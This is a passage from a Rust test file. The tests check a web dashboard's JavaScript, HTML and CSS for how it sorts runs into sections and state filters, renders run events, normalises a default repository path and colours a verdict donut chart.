21574 "and a block must not offer a guess with an `or` in it"
21575 );
21576
21577 assert!(
21581 APP_JS.contains("setText(r.event, run.event || \"\")"),
21582 "the run's last line is rendered unconditionally"
21583 );
21584 assert!(
21585 !APP_JS.contains("moving && run.event"),
21586 "and never gated on the run still moving"
21587 );
21588
21589 assert!(APP_JS.contains("lost to quota"));
21591 }
21592
21593 #[test]
21615 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
21616 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
21617 let shapes_body_start =
21618 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
21619 let shapes_close = APP_JS[shapes_body_start..]
21620 .find("].map(")
21621 .expect("the shape list is closed by its done-computing .map(...)")
21622 + shapes_body_start;
21623 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
21624
21625 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
21626 for entry in shapes_src.split('{').skip(1) {
21627 let waiting = entry.contains("waiting: true");
21628 let dead = entry.contains("live: \"dead\"");
21629 let status_at =
21630 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
21631 let status_end = entry[status_at..]
21632 .find('"')
21633 .expect("the status string is closed")
21634 + status_at;
21635 let parked = entry.contains("display_status: \"parked\"");
21636 shapes.push((
21637 waiting,
21638 entry[status_at..status_end].to_string(),
21639 dead,
21640 parked,
21641 ));
21642 }
21643 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
21644
21645 let done_rule_marker = "done: !";
21649 let done_rule_at = APP_JS[shapes_close..]
21650 .find(done_rule_marker)
21651 .expect("the done rule follows the shape list")
21652 + shapes_close
21653 + done_rule_marker.len();
21654 let includes_at = APP_JS[done_rule_at..]
21655 .find(".includes(shape.status)")
21656 .expect("the done rule ends in .includes(shape.status)")
21657 + done_rule_at;
21658 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
21659 .trim()
21660 .trim_start_matches('[')
21661 .trim_end_matches(']')
21662 .split(',')
21663 .map(|s| s.trim().trim_matches('"'))
21664 .filter(|s| !s.is_empty())
21665 .collect();
21666
21667 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
21668 .into_iter()
21669 .map(|(waiting, status, dead, parked)| {
21670 let done = !not_done.contains(&status.as_str());
21671 (waiting, status, dead, parked, done)
21672 })
21673 .collect();
21674
21675 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
21679 if waiting {
21680 return "waiting";
21681 }
21682 if dead
21683 && !parked
21684 && !matches!(
21685 status,
21686 "merged"
21687 | "ready"
21688 | "stalled"
21689 | "blocked"
21690 | "failed"
21691 | "verified_noop"
21692 | "superseded"
21693 | "already_in_base"
21694 )
21695 {
21696 return "stale";
21697 }
21698 match status {
21699 "merged" | "ready" => "landed",
21700 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
21701 | "already_in_base" => "ended",
21702 _ => "flight",
21703 }
21704 }
21705
21706 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
21709 match filter_key {
21710 "active" => !done,
21711 "flight" => !done && !waiting && !dead,
21712 "stale" => !done && !waiting && dead,
21713 "waiting" => waiting,
21714 "done" => done,
21715 "all" => true,
21716 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
21717 }
21718 }
21719
21720 let compatible = |section: &str, filter_key: &str| {
21721 shapes.iter().any(|(waiting, status, dead, parked, done)| {
21722 run_section(*waiting, status, *dead, *parked) == section
21723 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
21724 })
21725 };
21726
21727 let expected = [
21732 ("waiting", [true, false, false, true, true, true]),
21733 ("stale", [true, false, true, false, false, true]),
21734 ("flight", [true, true, false, false, false, true]),
21735 ("landed", [false, false, false, false, true, true]),
21736 ("ended", [false, false, false, false, true, true]),
21737 ];
21738 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
21739
21740 for (section, wants) in expected {
21741 for (filter_key, want) in filter_keys.iter().zip(wants) {
21742 assert_eq!(
21743 compatible(section, filter_key),
21744 want,
21745 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
21746 );
21747 }
21748 }
21749
21750 assert!(
21753 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
21754 );
21755 assert!(APP_JS.contains(
21756 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
21757 ));
21758 assert!(APP_JS.contains(
21759 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
21760 ));
21761 }
21762
21763 #[tokio::test]
21764 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
21765 let dir = tempfile::tempdir().expect("tempdir");
21769 let explicit = dir.path().join("not-a-checkout");
21770 std::fs::create_dir_all(&explicit).expect("create dir");
21771 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
21772
21773 let missing = dir.path().join("does-not-exist-at-all");
21774 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
21775 }
21776
21777 #[test]
21778 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
21779 assert!(APP_JS.contains("function statsDonutArcs"));
21780 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
21781 assert!(APP_JS.contains("function statusInBucket"));
21783 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
21784 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
21785 let buckets = [
21786 "merged",
21787 "ready",
21788 "in_progress",
21789 "blocked",
21790 "failed",
21791 "verified_noop",
21792 "superseded",
21793 "stalled",
21794 ];
21795 for key in buckets {
21796 let var = format!("--verdict-{key}:");
21797 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
21799 assert!(
21800 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
21801 "{key}"
21802 );
21803 }
21804 }
21805}